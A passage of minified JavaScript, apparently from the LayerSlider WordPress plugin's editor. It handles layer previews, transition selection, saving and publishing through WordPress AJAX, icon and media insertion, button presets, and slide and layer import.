i.__layerPreview)})),e.willRestart||LayerSlider.generatePreview(),jQuery(".lse-layer-preview-wrapper").layerSlider("destroy",!0),LS_previewArea.children().removeClass("lse-transparent lse-invisible"))},convertLayerDataForPresetPreview:function(e,t){if(!e?.transition||!t)return!1;let i=e.transition;switch(t){case"opening-transition":i.transitionin=!0,i.loop=!1,i.texttransitionout=!1,i.transitionout=!1,i.scroll=!1,i.parallax=!1;break;case"opening-text-transition":i.texttransitionin=!0,i.textstartatin="transitioninstart + 0",i.loop=!1,i.texttransitionout=!1,i.transitionout=!1,i.scroll=!1,i.parallax=!1;break;case"loop-transition":i.loop=!0,i.transitionin=!0,i.delayin=0,i.durationin=0,i.textstartatin="transitioninend + 0",i.textdurationin=0,i.textshiftin=0,i.texttransitionout=!1,i.transitionout=!1,i.scroll=!1,i.parallax=!1;break;case"ending-text-transition":i.texttransitionout=!0,i.textstartatout="allinandloopend + 0",i.transitionin=!0,i.delayin=0,i.durationin=0,i.textstartatin="transitioninend + 0",i.textdurationin=0,i.textshiftin=0,i.loopstartat="allinend + 0",i.loopduration=0,i.scroll=!1,i.parallax=!1;break;case"ending-transition":i.transitionout||i.texttransitionout||(i.transitionout=!0),-1!==i.startatout.indexOf("slidechangeonly")&&(i.startatout="textoutandloopend + 250"),i.transitionin=!0,i.delayin=0,i.durationin=0,i.textstartatin="transitioninend + 0",i.textdurationin=0,i.textshiftin=0,i.loopstartat="allinend + 0",i.loopduration=0,i.scroll=!1,i.parallax=!1;break;case"hover-transition":i.hover=!0,i.transitionin=!0,i.delayin=0,i.durationin=0,i.textstartatin="transitioninend + 0",i.textdurationin=0,i.textshiftin=0,i.loopstartat="allinend + 0",i.loopduration=0,i.texttransitionout=!1,i.transitionout=!1,i.scroll=!1,i.parallax=!1}return e},findLayerPreviewItems:function(){let e=[],t=[],i=0;return jQuery.each(LS_activeSlideData.sublayers,(function(a,r){r.__layerPreview&&(e.push(a),t.push(r),i++)})),!!i&&{indexSet:e,dataSet:t}},appendLivePreviewItem:function(e,t,i,a,r){if(r=r||{},r=jQuery.extend({},{skipDeviceLayers:!0,addDeviceLayersClasses:!1,allowPinnedLayers:!1},r),t.skip)return!0;if(r.skipDeviceLayers&&t["hide_on_"+LS_activeScreenType])return!0;var s=t.image,l=t.html,o=t.style||{},n=t.styles.top||0,d=t.styles.left||0,c=(t.hasOwnProperty("skip"),t.url),u=t.id,p=t.class,y=!1,h=t.innerAttributes||{},S=t.outerAttributes||{},m=t.htmlTag||"ls-layer";if(l=jQuery.trim(LS_Utils.maybeAddLineBreaksToLayerContent(t)),t.icon&&-1!==["text","button","post","html"].indexOf(t.media)){l&&l.length&&(y=!0);let e,i=t.icon;try{e=jQuery(t.icon)}catch(e){}if(e){if(t.iconColor&&e.css("color",t.iconColor),t.iconGap){let i="left"===t.iconPlacement?"margin-right":"margin-left";e.css(i,t.iconGap+"em")}t.iconSize&&e.css("font-size",t.iconSize+"em"),t.iconVerticalAdjustment&&e.css("transform","translateY( "+t.iconVerticalAdjustment+"em )"),i=e[0].outerHTML}l="left"===t.iconPlacement?i+l:l+i}var v,L,g="";for(v in t.transition)L=t.transition[v],-1!==v.indexOf("perspective")&&"500"===L.toString()||("backgroundvideo"!==v||L)&&("scroll"!==v||r.allowScrollTransitions||(L=!1),"pinned"!==v||r.allowPinnedLayers||(L=!1),""!==L&&null!==L&&"null"!==L&&"inherit"!==L&&(g+=v+":"+L+";"));"media"===t.media&&t.poster&&(g+="poster:"+t.poster+";");let f={};for(let e in t.styles){let i=t.styles[e];if((i||0===i)&&"unset"!==i&&"inherit"!==i&&"object"!=typeof i){if(i=i.toString(),";"==i.slice(-1)&&(i=i.substring(0,i.length-1)),f[e]=isNumber(i)?i+"px":i,"backdrop-filter"===e&&(f["-webkit-backdrop-filter"]=i),"background-clip"===e){if(!LS_editorMeta.isActivatedSite)continue;f["-webkit-background-clip"]=i,"text"===i&&(f["text-fill-color"]="transparent",f["-webkit-text-fill-color"]="transparent")}-1!==["z-index","font-weight","opacity"].indexOf(e)&&(f[e]=i)}}var b;if(t.layerBackground&&("[image-url]"===t.layerBackground?f["background-image"]='url("'+a["image-url"]+'")':f["background-image"]='url("'+t.layerBackground+'")'),f["background-color"]&&-1!==f["background-color"].indexOf("gradient")&&(f["background-image"]?f["background-image"]+=", "+f["background-color"]:f["background-image"]=f["background-color"],delete f["background-color"]),"img"===t.type||"img"===t.media){if(!s)return!0;"[image-url]"==s&&(s=a["image-url"]),b=jQuery('<img src="'+s+'" class="ls-l">').appendTo(i)}else if("post"===t.media){var w=t.post_text_length;for(var _ in a)-1!==l.indexOf("["+_+"]")&&(("title"==_||"content"==_||"excerpt"==_)&&w>0&&(a[_]=a[_].substr(0,w)),l=l.replace("["+_+"]",a[_]));(b=LS_Utils.shouldWrapLayerContent(l)?jQuery("<"+m+">").html(l):jQuery(l)).appendTo(i).addClass("ls-l")}else{var x=(b=jQuery("<"+m+">").appendTo(i).html(l).addClass("ls-l")).find('iframe[src*="youtube-nocookie.com"], iframe[src*="youtube.com"], iframe[src*="youtu.be"], iframe[src*="player.vimeo"]');x.length&&x.attr("data-src",x.attr("src")).removeAttr("src")}for(var j in b.attr({id:u,style:o}).css(f).css("white-space",t.styles.wordwrap?"normal":"nowrap").addClass(p),c||(t.title&&b.attr("title",t.title),t.rel&&b.attr("rel",t.rel),t.tabindex&&b.attr("tabindex",t.tabindex)),r.addDeviceLayersClasses&&t.hide_on_desktop&&b.addClass("ls-hide-desktop"),r.addDeviceLayersClasses&&t.hide_on_tablet&&b.addClass("ls-hide-tablet"),r.addDeviceLayersClasses&&t.hide_on_phone&&b.addClass("ls-hide-phone"),h)if("class"!==j.toLowerCase())try{b[0].setAttribute(j,h[j])}catch(e){}else b.addClass(h[j]);if(-1!=n.indexOf("%")?b.css({top:n}):b.css({top:parseInt(n)}),-1!=d.indexOf("%")?b.css({left:d}):b.css({left:parseInt(d)}),c){t.linkId&&(c="#"===t.linkId.substr(0,1)?t.linkId:"[post-url]"===t.linkId?a["post-url"]:"#"),"[post-url]"===c&&(c=a["post-url"]);var k="";"#"===c&&t.linkId&&(k=' data-help="'+LS_l10n.SBPreviewLinkNotAvailable.replace("%s",t.linkName)+'" data-help-delay="1"');var I=jQuery('<a href="'+c+'"'+k+' target="_blank"></a>');t.title&&I.attr("title",t.title),t.rel&&I.attr("rel",t.rel),t.tabindex&&I.attr("tabindex",t.tabindex),I.attr(S),r.addLayerActions&&t.actions&&t.actions.length&&I.attr("data-ls-actions",JSON.stringify(t.actions)),b.wrap(I)}else{for(var Q in S)"class"!==Q.toLowerCase()?b[0].setAttribute(Q,S[Q]):b.addClass(S[Q]);r.addLayerActions&&t.actions&&t.actions.length&&b.attr("data-ls-actions",JSON.stringify(t.actions))}return y&&b.addClass("ls-ib-icon"),t.media&&b.addClass("ls-"+t.media+"-layer"),b.attr("data-ls",g),b},updatePopupNotifications:function(){var e=jQuery("#lse-popup-notifications"),t=jQuery(".lse-popup-trigger-notification",e),i=window.lsSliderData.properties;t[jQuery.trim(i.popupShowOnTimeout)||jQuery.trim(i.popupShowOnIdle)||jQuery.trim(i.popupShowOnScroll)||i.popupShowOnLeave||jQuery.trim(i.popupShowOnClick)?"addClass":"removeClass"]("lse-dn")},updatePopupPreview:function(){var e=window.lsSliderData.properties.popupFitWidth,t=window.lsSliderData.properties.popupFitHeight,i=window.lsSliderData.properties.popupPositionVertical,a=window.lsSliderData.properties.popupPositionHorizontal,r=jQuery("#lse-selected-popup-preset .lse-popup-layout-inner");r.attr("class","lse-popup-layout-inner lse-popup-"+i+" lse-popup-"+a),e&&r.addClass("lse-popup-fitwidth").removeClass("lse-popup-"+a),t&&r.addClass("lse-popup-fitheight").removeClass("lse-popup-"+i);let s=jQuery("#lse-selected-popup-preset"),l="."+s.find(".lse-popup-layout-inner")[0].className.split(" ").join("."),o=jQuery("#lse-popup-presets "+l).closest("lse-button"),n=o.find("lse-text").text();jQuery("#lse-popup-presets .lse-active").removeClass("lse-active"),o.addClass("lse-active"),s.find("lse-text").text(n)},openTransitionGallery:function(){kmw.modal.open({content:"#tmpl-transition-modal-content",minWidth:980,maxWidth:1280,maxHeight:"100%",modalClasses:"lse-transition-gallery",sidebar:{left:{width:300,customHeaderHeight:!0,content:"#tmpl-transition-modal-siderbar"}},onBeforeOpen:function(){LayerSlider.appendTransition(0,"","2d_transitions",layerSliderTransitions.t2d),LayerSlider.appendTransition(1,"","3d_transitions",layerSliderTransitions.t3d),"undefined"!=typeof layerSliderCustomTransitions&&(layerSliderCustomTransitions.t2d.length&&LayerSlider.appendTransition(3,"","custom_2d_transitions",layerSliderCustomTransitions.t2d),layerSliderCustomTransitions.t3d.length&&LayerSlider.appendTransition(4,"","custom_3d_transitions",layerSliderCustomTransitions.t3d)),jQuery("#lse-transition-window .lse-select-special-transition").each((function(){var e=jQuery(this),t=e.data("name");e[LS_activeSlideData.properties[t]?"addClass":"removeClass"]("lse-selected")})),jQuery("#transition-modal-siderbar kmw-menuitem.kmw-active").click()},onBeforeClose:function(){window.lsHideTransition&&window.lsHideTransition()}})},appendTransition:function(e,t,i,a){var r=jQuery("#lse-transitions-list .lse-transitions-section:eq("+e+") lse-row").empty(),s=LS_activeSlideData.properties[i];if(s=s?s.split(","):[],a&&a.length)for(c=0;c<a.length;c++){var l="";-1==s.indexOf(""+(c+1))&&"all"!=s||(l="lse-selected"),r.append(jQuery('<lse-col data-tt-de="0" data-tt=".tt-slide-transition-sample" class="lse-transition-item '+l+'"data-key="'+(c+1)+'">'+a[c].name+"</lse-col>"))}},selectAllTransition:function(e,t){var i=jQuery("#lse-transitions-modal-select-button"),a=jQuery("#lse-transitions-list .lse-transitions-section").eq(e).data("tr-type");t?(jQuery("#lse-transitions-list .lse-transitions-section:eq("+e+")").find(".lse-transition-item").addClass("lse-selected"),i.attr("class","lse-on").text(LS_l10n.deselectAll),LS_activeSlideData.properties[a]="all"):(jQuery("#lse-transitions-list .lse-transitions-section:eq("+e+")").find(".lse-transition-item").removeClass("lse-selected"),i.attr("class","lse-off").text(LS_l10n.selectAll),LS_activeSlideData.properties[a]="")},toggleTransition:function(e){var t=jQuery(e),i=t.closest(".lse-transitions-section"),a=i.find(".lse-transition-item"),r=i.data("tr-type");if(t.toggleClass("lse-selected"),a.filter(".lse-selected").length!==a.length){jQuery("#lse-transitions-modal-select-button").attr("class","lse-off").text(LS_l10n.selectAll);var s=[];a.filter(".lse-selected").each((function(){s.push(jQuery(this).data("key"))})),LS_activeSlideData.properties[r]=s.join(",")}else LayerSlider.selectAllTransition(i.index(),!0)},showEditorWarnings:function(){LS_editorMeta.isActivatedSite||"popup"!==window.lsSliderData.properties.type?!LS_editorMeta.isActivatedSite&&lsSliderData.properties.pt?lsEditor.bottomNotification.open({content:LS_l10n.notifyPremiumTemplate,color:"yellow",onClick:()=>{lsDisplayActivationWindow({title:LS_l10n.notifyPremiumTemplateMT})}}):!LS_editorMeta.isActivatedSite&&lsSliderData.properties.scene?lsEditor.bottomNotification.open({content:LS_l10n.notifyMissingScene,color:"yellow",onClick:()=>{lsDisplayActivationWindow()}}):LayerSlider.maybeShowScrollSceneSlidesWarning():lsEditor.bottomNotification.open({content:LS_l10n.notifyMissingPopup,color:"yellow",onClick:()=>{lsDisplayActivationWindow({title:LS_l10n.notifyMissingPopupMT})}}),lsSliderData.googlefonts.length&&!LS_editorMeta.googleFontsEnabled&&setTimeout((()=>{lsEditor.notify.show({icon:"font-case",text:LS_l10n.notifyGoogleFontsMissing,timeout:5e3})}),1e3)},prepareSaveData:function(){lsEditor.preview.exit(),LayerSlider.reduceGoogleFontList();var e=jQuery.extend(!0,{},window.lsSliderData);return e.properties=JSON.stringify(e.properties),jQuery.each(e.layers,(function(t,i){i.properties.post_content=!1,jQuery.each(i.sublayers,(function(a,r){r.styles&&jQuery.each(r.styles,(function(e,t){""===t&&delete r.styles[e]})),r.transition=JSON.stringify(r.transition),r.styles=JSON.stringify(r.styles),!1===i.properties.post_content&&"post"==r.media&&(i.properties.post_content=!0);var s=LS_DataSource.uuidForLayer(a,t);e.layers[t].sublayers[a].uuid=s})),i.sublayers.reverse(),e.layers[t]=JSON.stringify(i)})),e},save:function(e){e=e||{},jQuery("#lse-save-button").addClass("lse-action");var t=LayerSlider.prepareSaveData();jQuery.ajax({type:"POST",url:ajaxurl,dataType:"text",data:{_wpnonce:jQuery('#lse-editor-form input[name="_wpnonce"]').val(),_wp_http_referer:jQuery('#lse-editor-form input[name="_wp_http_referer"]').val(),action:"ls_save_slider",id:LS_sliderID,sliderData:t,dirty:LS_sliderIsDirty?1:0},error:function(e,t,i){jQuery("#lse-save-button").removeClass("lse-action"),lsCommon.smartAlert.open({title:LS_l10n.SBSaveErrorTitle,text:LS_l10n.SBSaveError.replace("%s",i),theme:"red"})},success:function(e,t){LS_editorIsDirty&&LS_sliderIsDirty&&((parseInt(localStorage["lse-menu-more-displayed"])||0)<3&&LS_draftNoticeOpened<1&&jQuery("lse-editor").addClass("lse-menu-more-badge"),jQuery("lse-editor").addClass("lse-draft-edit"));if(jQuery("lse-editor").removeClass("lse-draft-available"),history.replaceState&&-1!=document.location.href.indexOf("&ignore-drafts")){var i=document.location.href.replace("&ignore-drafts","");history.replaceState(null,document.title,i)}lsSetEditorDirtyState(!1),jQuery("#lse-save-button").removeClass("lse-action"),lsEditor.notify.show({icon:"save",text:LS_l10n.notifyProjectSaved,timeout:2e3})},complete:function(e){setTimeout((function(){jQuery("#lse-save-button").removeClass("lse-action")}),2e3)}})},publish:function(e){e=e||{};let t=jQuery("#lse-publish-button");t.addClass("lse-action"),LayerSlider.publishTimeout=setTimeout((()=>{t.removeClass("lse-action")}),3e4);var i=window.lsSliderData;"popup"!==i.properties.type&&"scroll"===i.properties.scene?i.layers[0].properties.slidedelay?(i.properties.sceneDuration=parseFloat(i.layers[0].properties.slidedelay)/1e3,LayerSlider._doPublish(e)):LayerSlider.getSilentSliderData("slideDuration",((t,a)=>{i.properties.sceneDuration=Math.round(1e3*(parseFloat(a.value)+Number.EPSILON))/1e3,LayerSlider._doPublish(e)})):LayerSlider._doPublish(e)},_doPublish:function(e){var t=LayerSlider.prepareSaveData();jQuery.ajax({type:"POST",url:ajaxurl,dataType:"text",data:{_wpnonce:jQuery('#lse-editor-form input[name="_wpnonce"]').val(),_wp_http_referer:jQuery('#lse-editor-form input[name="_wp_http_referer"]').val(),action:"ls_publish_slider",id:LS_sliderID,sliderData:t},error:function(e,t,i){jQuery("#lse-publish-button").removeClass("lse-action"),lsCommon.smartAlert.open({title:LS_l10n.SBSaveErrorTitle,text:LS_l10n.SBSaveError.replace("%s",i),theme:"red"})},success:function(e,t){lsSetSliderDirtyState(!1),lsSetEditorDirtyState(!1),jQuery("lse-editor").removeClass("lse-draft-edit lse-menu-more-badge"),jQuery("#lse-publish-button").removeClass("lse-action"),lsEditor.notify.show({icon:"upload",text:LS_l10n.notifyProjectPublished,timeout:3e3})},complete:function(e){clearTimeout(LayerSlider.publishTimeout),setTimeout((function(){jQuery("#lse-publish-button").removeClass("lse-action")}),2e3)}})},getSilentSliderData:function(e,t){let i=LayerSlider.getPreviewProjectSettings();i.silentMode=!0,i.getData=e;var a=window.lsSliderData.properties,r=a.sliderstyle,s="popup"===a.type?["popup"]:[],l=a.maxwidth||i.width||1920;let o=jQuery('<div class="ls-wp-container" style="display: none;">').appendTo("body");r&&o.attr("style",r),a.sliderclass&&o.addClass(a.sliderclass),"responsive"===i.type&&o.css("max-width",l),this.populateSliderPreview(o,s,{firstSlideOnly:!0,publishedSlidesOnly:!0,activeSlideOnly:!1,skipDeviceLayers:!0,addDeviceLayersClasses:!0,addLayerActions:!0,allowScrollTransitions:!0}),o.layerSlider(i).on("getData",t)}},LS_IconLibrary={iconsLoader:null,createLayer:!1,replaceIcon:!1,callback:!1,init:function(){jQuery(document).on("click","#lse-insert-icons-modal-window .lse-icons-display-areas lse-b",(function(e){e.preventDefault(),LS_IconLibrary.insert(this)})).on("click","#lse-insert-icons-modal-window .lse-installable-icon",(function(){LS_IconLibrary.downloadIcons(this,jQuery(this).closest("kmw-menuitem").data("module"))})).on("click","#lse-insert-icons-modal-window kmw-menuitem:not(.kmw-disabled)",(function(){LS_IconLibrary.loadFamily(this)}))},downloadIcons:function(e,t){if(!t)return;let i=jQuery(e),a=i.closest("kmw-menuitem");lsEditor.loading.show("modal",LS_l10n.moduleDLIcons),jQuery.getJSON(ajaxurl,{action:"ls_download_module",module:t.handle},(function(e){lsEditor.loading.hide(),e&&e.success?(i.hide(),a.removeClass("kmw-disabled").click()):e&&e.message&&lsCommon.smartAlert.open({width:700,theme:"red",title:LS_l10n.moduleDLErrorTitle,text:e.message})}))},loadFamily:function(e){let t=jQuery(e),i=t.data("url"),a=t.data("icons-data");a?LS_IconLibrary.selectFamily(e,a):(t.addClass("lse-loading"),import(i).then((i=>{let a=i.iconsData;a&&a.icons&&(t.data("icons-data",a),setTimeout((function(){t.removeClass("lse-loading"),LS_IconLibrary.selectFamily(e,a)}),300))})))},selectFamily:function(e,t){let i=jQuery(e),a=jQuery("#lse-insert-icons-modal-window"),r=a.find(".lse-icons-credits"),s=i.find("kmw-menutext").text();a.find(".kmw-modal-title").text(s),r.find(".lse-icons-count").text(Object.keys(t.icons).length),r.removeClass("lse-icon-type-font").removeClass("lse-icon-type-svg").addClass("lse-icon-type-"+t.type),r.find(".lse-icons-author a").attr("href",t.url).text(t.author),LS_IconLibrary.iconsLoader?LS_IconLibrary.iconsLoader.changeIconSet(t):LS_IconLibrary.iconsLoader=new LS_IconLoader(t)},open:function(e){e=e||{},LS_IconLibrary.createLayer=e.createLayer,LS_IconLibrary.callback="function"==typeof e&&e,kmw.modal.open({id:"lse-insert-icons-modal-window",content:jQuery("#tmpl-insert-icons-modal"),minWidth:400,maxHeight:"100%",maxWidth:1200,sidebar:{left:{width:300,customHeaderHeight:!0,content:jQuery("#tmpl-insert-icons-sidebar")}}})},insert:function(e){var t=jQuery(e),i=t.find("svg"),a='<i class="fa fa-'+t.data("help")+'"></i>',r=LS_activeLayerDataSet[0],s=LS_activeLayerIndexSet[0],l={html:"",styles:{}},o=100,n={};if(redoObj={},i.length&&(a=i[0].outerHTML),LS_IconLibrary.callback)return LS_IconLibrary.callback(e),void LS_IconLibrary.close();LS_IconLibrary.createLayer?(l.html=a,l.styles={"font-size":64},LayerSlider.addFormattedLayer("icon",l)):("icon"===r.media&&(i.length?(r.styles.width||(n.styles||(n.styles={}),redoObj.styles||(redoObj.styles={}),n.styles.width="",redoObj.styles.width=o,r.styles.width=o),r.styles.height||(n.styles||(n.styles={}),redoObj.styles||(redoObj.styles={}),n.styles.height="",redoObj.styles.height=o,r.styles.height=o),r.styles["font-size"]&&(n.styles||(n.styles={}),redoObj.styles||(redoObj.styles={}),n.styles["font-size"]=r.styles["font-size"],redoObj.styles["font-size"]="",r.styles["font-size"]="")):(r.styles.width&&(n.styles||(n.styles={}),redoObj.styles||(redoObj.styles={}),n.styles.width=r.styles.width,redoObj.styles.width="",r.styles.width=""),r.styles.height&&(n.styles||(n.styles={}),redoObj.styles||(redoObj.styles={}),n.styles.height=r.styles.height,redoObj.styles.height="",r.styles.height=""),r.styles["font-size"]||(n.styles||(n.styles={}),redoObj.styles||(redoObj.styles={}),n.styles["font-size"]="",redoObj.styles["font-size"]=64,r.styles["font-size"]=64))),n.html=r.html||"",redoObj.html=a,r.html=a,LS_UndoManager.add("layer.general","LAYER_ICON",{itemIndex:s,undo:n,redo:redoObj}),LayerSlider.generatePreviewItem(s)),LS_DataSource.buildLayer(),LS_IconLibrary.close()},insertPicker:function(e,t){var i=jQuery(e),a=jQuery(t),r=a.find("svg"),s='<i class="fa fa-'+a.data("help")+'"></i>',l={};r.length&&(s=r[0].outerHTML),l[i.data("prop")]=s,LS_DataSource.updateProperties("layer.general","LAYER_ICON",LS_activeLayerIndexSet[0],LS_activeLayerDataSet[0],l),LS_DataSource.buildLayer(),LayerSlider.autoRenameLayer(LS_activeLayerIndexSet[0]),LayerSlider.generateSelectedPreviewItems(),LS_IconLibrary.close()},close:function(){kmw.modal.close()}},LS_InsertMedia={init:function(){jQuery("lse-layer-settings").on("click",".lse-open-media-modal",(function(e){e.preventDefault(),LS_InsertMedia.open()})),jQuery(document).on("input","#lse-insert-media-modal-window input, #lse-insert-media-modal-window textarea",(function(){LS_InsertMedia.preview(jQuery(this))})),jQuery(document).on("click","#lse-insert-media-modal-window lse-button.lse-html5-button",(function(e){e.preventDefault(),kmw.modal.close(!1,{onClose:function(){jQuery("lse-layer-settings .lse-insert-media").click()}})})),jQuery(document).on("click","#lse-insert-media-modal-window lse-button.lse-insert",(function(e){e.preventDefault(),LS_InsertMedia.insert(jQuery(this))}))},open:function(){kmw.modal.open({content:"#tmpl-insert-media-modal",minWidth:980,maxWidth:980})},parseURL:function(){},preview:function(e){var t,i,a=jQuery("#lse-insert-media-modal-window .lse-media-preview"),r=e.val()
;if(""!==r)if(e.is("input"))-1!==r.indexOf("vimeo")?(t=LS_InsertMedia.parseVimeoURL(r))&&a.html('<iframe src="https://player.vimeo.com/video/'+t+'" width="240" height="240" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>'):-1!==r.indexOf("youtu")&&(t=LS_InsertMedia.parseYouTubeURL(r))&&a.html('<iframe width="240" height="240" src="https://www.youtube.com/embed/'+t+'" frameborder="0" allowfullscreen></iframe>');else try{(i=jQuery(r)).attr({width:240,height:240}),a.html(i)}catch(e){a.html("")}else a.html("")},parseYouTubeURL:function(e){var t=e.match(/^.*(?:(?:youtu\.be\/|v\/|vi\/|u\/\w\/|embed\/)|(?:(?:watch)?\?v(?:i)?=|\&v(?:i)?=))([^#\&\?]*).*/);return!(!t||!t[1])&&t[1]},parseVimeoURL:function(e){var t=e.match(/^.*(vimeo\.com\/)((channels\/[A-z]+\/)|(groups\/[A-z]+\/videos\/))?([0-9]+)/);return!(!t||!t[5])&&t[5]},insert:function(e){var t=jQuery("#lse-layer-content"),i=t.val(),a=e.closest("td").prev().find(":input").val(),r=!1;e.hasClass("lse-insert-url")?-1!==a.indexOf("vimeo")?(videoID=LS_InsertMedia.parseVimeoURL(a),videoID&&(r=!0,t.val('<iframe src="https://player.vimeo.com/video/'+videoID+'" width="640" height="360" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>'))):-1!==a.indexOf("youtu")&&(videoID=LS_InsertMedia.parseYouTubeURL(a),videoID&&(r=!0,t.val('<iframe width="560" height="315" src="https://www.youtube.com/embed/'+videoID+'" frameborder="0" allowfullscreen></iframe>'))):(r=!0,t.val(a)),r&&(LS_UndoManager.add("layer.general","LAYER_SETTINGS",{itemIndex:LS_activeLayerIndexSet[0],undo:{html:i},redo:{html:t.val()}}),LS_activeLayerDataSet[0].html=t.val(),LayerSlider.generatePreviewItem(LS_activeLayerIndexSet[0]),LS_InsertMedia.close())},close:function(){kmw.modal.close()}},LS_ButtonLibrary={init:function(){jQuery("lse-layer-settings").on("click",".lse-choose-button-preset",(function(e){e.preventDefault(),LS_ButtonLibrary.open()})),jQuery(document).on("click","#lse-button-presets-modal-window lse-button-preset",(function(){LS_ButtonLibrary.apply(this)}))},open:function(){kmw.modal.open({content:"#tmpl-button-presets",id:"lse-button-presets-modal-window",maxWidth:980,minWidth:980,onBeforeOpen:function(){$modal=jQuery("#lse-button-presets-modal-window"),jQuery.each(LS_ButtonPresets,(function(e,t){$modal.find('lse-button-preset[data-button-preset="'+e+'"]').css(t.styles)}))}})},apply:function(e){let t,i=jQuery(e),a=i.find("svg"),r=i.data("button-preset"),s=LS_ButtonPresets[r],l=LS_activeLayerDataSet[0],o=LS_activeLayerDataSet[0].styles,n={styles:{}},d={styles:{}},c=[];if(s){if(s.styles.top=o.top||"",s.styles.left=o.left||"",s.styles.cursor="pointer",s.styles.wordwrap=!1,jQuery.each(s,(function(e,i){t=[],"styles"===e&&(t=jQuery(".lse-layer-style-panel :input[name]")),t.each((function(){let t=jQuery(this).attr("name");newVal=s[e][t]||"",t&&-1===c.indexOf(t)&&(c.push(t),"background-color"!==t||newVal||s[e].background&&(newVal=s[e].background,n[e]["background-colorData"]=l[e]["background-colorData"]||"",d[e]["background-colorData"]=s[e].backgroundData,l[e]["background-colorData"]=s[e].backgroundData),n[e][t]=l[e][t]||"",d[e][t]=newVal,l[e][t]=newVal)}))})),a.length){let e=a[0].outerHTML;n.html=LS_activeLayerDataSet[0].html||"",d.html="",n.icon=LS_activeLayerDataSet[0].icon||"",d.icon=e,LS_activeLayerDataSet[0].html="",LS_activeLayerDataSet[0].icon=e}LS_activeLayerDataSet[0].style&&(n.style=LS_activeLayerDataSet[0].style,d.style="",LS_activeLayerDataSet[0].style=""),LS_UndoManager.add("layer.general","BUTTON_PRESET",{itemIndex:LS_activeLayerIndexSet[0],undo:n,redo:d}),LS_DataSource.buildLayer(LS_activeLayerIndexSet[0]),LayerSlider.generatePreviewItem(LS_activeLayerIndexSet[0]),LS_ButtonLibrary.close()}else LS_ButtonLibrary.close()},close:function(){kmw.modal.close()}},LS_ImportSlide={init:function(){jQuery(document).on("click","#lse-import-slide",(function(e){e.preventDefault(),LS_ImportSlide.open()})),jQuery(document).on("click","#lse-import-slide-modal-window .lse-import-layer-sliders .lse-slider-item",(function(){LS_ImportLayer.selectSlider(this)})),jQuery(document).on("click","#lse-import-slide-modal-window .lse-import-layer-slides .lse-slider-item",(function(){LS_ImportSlide.selectSlide(this)}))},open:function(){kmw.modal.open({content:"#tmpl-import-slide",maxWidth:980,minWidth:980,maxHeight:"100%",onOpen:function(){LS_ImportLayer.loadSliders()}})},selectSlide:function(e){if(LS_editorMeta.isActivatedSite||!LS_ImportLayer.pt){var t=jQuery(e);t.addClass("lse-added"),t.find(".lse-preview").append(LS_InterfaceIcons.notifications.checkCircle),LayerSlider.addSlide(t.data("slide-data"),{selectSlide:!0}),LayerSlider.reindexProjectGoogleFonts(),setTimeout((function(){LayerSlider.addFontsLoadedEvent()}),100)}else lsDisplayActivationWindow({title:LS_l10n.SBImportSlidePTMT})}},LS_ImportLayer={pt:!1,init:function(){jQuery(document).on("click","#lse-import-layer-modal-window .lse-import-layer-sliders .lse-slider-item",(function(){LS_ImportLayer.selectSlider(this)})),jQuery(document).on("click","#lse-import-layer-modal-window .lse-import-layer-slides .lse-slider-item",(function(){LS_ImportLayer.selectSlide(this)})),jQuery(document).on("click","#lse-import-layer-modal-window .lse-import-layer-layers .lse-layer-item",(function(){LS_ImportLayer.selectLayer(this)}))},open:function(){kmw.modal.open({content:"#tmpl-import-layer",minWidth:980,maxWidth:980,maxHeight:"100%"}),setTimeout((function(){LS_ImportLayer.loadSliders()}),300)},loadSliders:function(){jQuery.getJSON(ajaxurl,{action:"ls_get_mce_sliders"},(function(e){var t=jQuery(".lse-import-layer-sliders");e&&e.length?(t.empty(),jQuery.each(e,(function(e,i){var a=jQuery('<lse-b class="lse-slider-item">\t\t\t\t\t\t<lse-b class="lse-slider-item-wrapper">\t\t\t\t\t\t\t<lse-b class="lse-preview">\t\t\t\t\t\t\t\t<lse-b class="lse-no-preview">\t\t\t\t\t\t\t\t\t<lse-h5>'+LS_MCE_l10n.MCENoPreview+'</lse-h5>\t\t\t\t\t\t\t\t</lse-b>\t\t\t\t\t\t\t</lse-b>\t\t\t\t\t\t\t<lse-b class="lse-info">\t\t\t\t\t\t\t\t<lse-b class="lse-name"></lse-b>\t\t\t\t\t\t\t</lse-b>\t\t\t\t\t\t</lse-b>\t\t\t\t\t</lse-b>');a.data({id:i.id,slug:i.slug,pt:i.pt}),i.preview&&jQuery(".lse-preview",a).empty().css({"background-image":"url("+i.preview+")"}),jQuery(".lse-name",a).html(i.name),a.appendTo(t)}))):t.html(LS_l10n.SBImportLayerNoProject)}))},selectSlider:function(e){var t=jQuery(e);LS_ImportLayer.pt=!1,t.data("pt")&&(LS_ImportLayer.pt=!0),t.addClass("lse-selected").siblings().removeClass("lse-selected"),jQuery(".lse-import-layer-layers").html(LS_l10n.SBImportLayerSelectSlide),LS_ImportLayer.loadSlides(t.data("id"))},loadSlides:function(e){jQuery.getJSON(ajaxurl,{action:"ls_get_mce_slides",sliderID:e},(function(e){var t=jQuery(".lse-import-layer-slides");e&&e.length?(t.empty(),jQuery.each(e,(function(e,i){if(!i||!i.properties)return!0;var a=jQuery('<lse-b class="lse-slider-item">\t\t\t\t\t\t<lse-b class="lse-slider-item-wrapper">\t\t\t\t\t\t\t<lse-b class="lse-preview">\t\t\t\t\t\t\t\t<lse-b class="lse-no-preview">\t\t\t\t\t\t\t\t\t<lse-h5>'+LS_MCE_l10n.MCENoPreview+'</lse-h5>\t\t\t\t\t\t\t\t</lse-b>\t\t\t\t\t\t\t</lse-b>\t\t\t\t\t\t\t<lse-b class="lse-info">\t\t\t\t\t\t\t\t<lse-b class="lse-name"></lse-b>\t\t\t\t\t\t\t</lse-b>\t\t\t\t\t\t</lse-b>\t\t\t\t\t</lse-b>');if(a.data("slide-data",i),i.properties.background||i.properties.thumbnail){var r=i.properties.thumbnail||i.properties.background;jQuery(".lse-preview",a).empty().css({"background-image":"url("+r+")"})}jQuery(".lse-name",a).html(i.properties.title),a.appendTo(t)}))):t.html(LS_l10n.SBImportLayerNoSlide)}))},selectSlide:function(e){var t=jQuery(e);t.addClass("lse-selected").siblings().removeClass("lse-selected"),LS_ImportLayer.loadLayers(t.data("slide-data"))},loadLayers:function(e){var t=jQuery(".lse-import-layer-layers");if(e&&e.sublayers&&e.sublayers.length){t.html("<lse-table-wrapper><table><tbody></tbody></table></lse-table-wrapper>");var i=jQuery(".lse-import-layer-layers table tbody");jQuery.each(e.sublayers,(function(e,t){var 